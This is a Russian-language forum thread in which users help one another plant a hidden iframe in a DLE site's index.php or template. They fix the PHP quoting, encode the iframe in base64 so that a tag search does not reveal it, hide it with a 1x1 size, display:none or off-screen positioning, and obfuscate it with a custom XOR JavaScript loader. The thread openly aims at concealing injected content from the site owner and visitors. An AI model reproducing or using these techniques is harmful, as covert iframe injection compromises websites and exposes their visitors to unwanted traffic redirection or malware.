люди Хелп есть страница index.php Кстати скрипт DLE вставляю фрейм так PHP: $fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>'; print( base64_encode($fr) ); кгда захожу на сайт пишет Parse error: syntax error, unexpected T_STRING in /home/public_html/index.php on line 227 что такое ??? в чем проблема? еси кто может помочь напишите в ацку или тут
$fr= '<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>'; однако .. это как понимать ? вот что надо $fr= '<iframe src=\'http://xxxxxxxxxx\' width=1 height=1></iframe>';
PHP: $fr= base64_encode("<iframe src='http://pashkela.narod.ru' width=100 height=100></iframe>"); echo base64_decode($fr); В общем двойные кавычки нужны в первой строчке, чтобы не было ошибок, просто php после второй одинарной кавычки считает, что кавычки закрылись, и ждет корректного продолжения кода, ну уж никак не http А дальше как выше и сказали - твой код, даже с исправленными кавычками, просто выведет на экран вот это: Code: PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+
какая нах разница как лучше ? у тс трабла была в пхп, а именно с кавычками .. вы ещё партнёрки тут прорекламте... DVD_RW, я конечно тоже не знаток-верстальщик .. но твой пример не заработает ни в одном браузере помоему
лучше тогда уж так PHP: <? $fr= "PGlmcmFtZSBzcmM9J2h0dHA6Ly9wYXNoa2VsYS5uYXJvZC5ydScgd2lkdGg9MTAwIGhlaWdodD0xMDA+PC9pZnJhbWU+"; echo base64_decode($fr); ?> Скрипт для кодировки ВАШЕГО ифрейма: PHP: <? $fr= "'<iframe src='http://xxxxxxxxxx' width=1 height=1></iframe>"; echo base64_encode($fr); ?> И то, что выведется на экран - просто скопировать и вставить в первый скрипт ЭТОГО поста вот сюда: PHP: $fr= "сюда_вставить"; и тогда действительно простым поиском по тегам фиг что чел найдет, даже если что-то заподозрит Кодировки можно применять разные
1. Кстати фрейм виден в виде маленького квадратика в Опере. Помню как-то делал его вывод на отдельный слой и за пределы окна страницы, не подскажите? 2. Ну в исходниках на стороне сервера мы маскируем линк кодированием в базе64, надо бы ещё от клиента тоже скрыть линк, поделитесь готовым javascript для этого дела у кого есть...
1. ставим висибл в 0 пример <iframe src="_URL_" style="display:none;"></iframe> 2. есть онлайн утилиты что то типа iframer.ru смысл сводится к приблизительно такому... пример document.write(unescape('%3C......')); тут просто "<iframe src="_UR...." кодируется. поповоду самого вопроса, в дле лучше всего вставлять в шаблон /teplates/_you_templlate_/main.tpl вставляй сразу после тега <body>
Можно самому что-нибудь простое написать, например: Code: <pre> <script> function encode(s) { s = s.split(''); var l = s.length, i = 0, a = [], r = Math.random, n = 0; while(i < l) { a[n++] = s[i++].charCodeAt(0) ^ (a[n++] = r() * 0xFF >> 0 | 0x100) | 0x100; } return a.join(''); }; function decode(s) { s = s.match(/.{3}/g); var l = s.length, i = 0, n = 0, r = []; while(i < l) { r[n++] = s[i++] ^ s[i++]; } return String.fromCharCode.apply(null, r); }; var a = encode('<iframe src="http://www.google.ru" style="position: absolute; left: -10000px"></iframe>'); var b = decode(a); document.writeln( a ); document.writeln( b.replace(/</g, '<').replace(/>/g, '>') ); </script> </pre> Соответственно выглядеть это будет так: Code: <script type="text/javascript"> alert ( (function(a,i,n,r,f,l){l=a.length;while(i<l)r[n++]=a[i++]^a[i++];return f.apply(null,r);})( [ '397433321296274372313331434467277376415506326358', '301350352274427456463498450480340316287363363287', '444460382324487456407440296351504399414489272318', '290325259364445466500403483399292321311281390500', '427478302268478510355272277353450443444464398491', '323382368338289337270353411488268357417469398487', '422457386492448506347379443474396494509398314341', '332288412489509393331302313258402434428448386487', '501403498390287293279311408437314267371323257305', '495479317269437453280352369339406424384444280311', '268357461427281363499402468441399490363341' ].join('').match(/.{3}/g),0,0,[],''.constructor['f://rom=C++ha!r^.?C++|{ode;!'.replace(/\W/g,'')]) ); </script>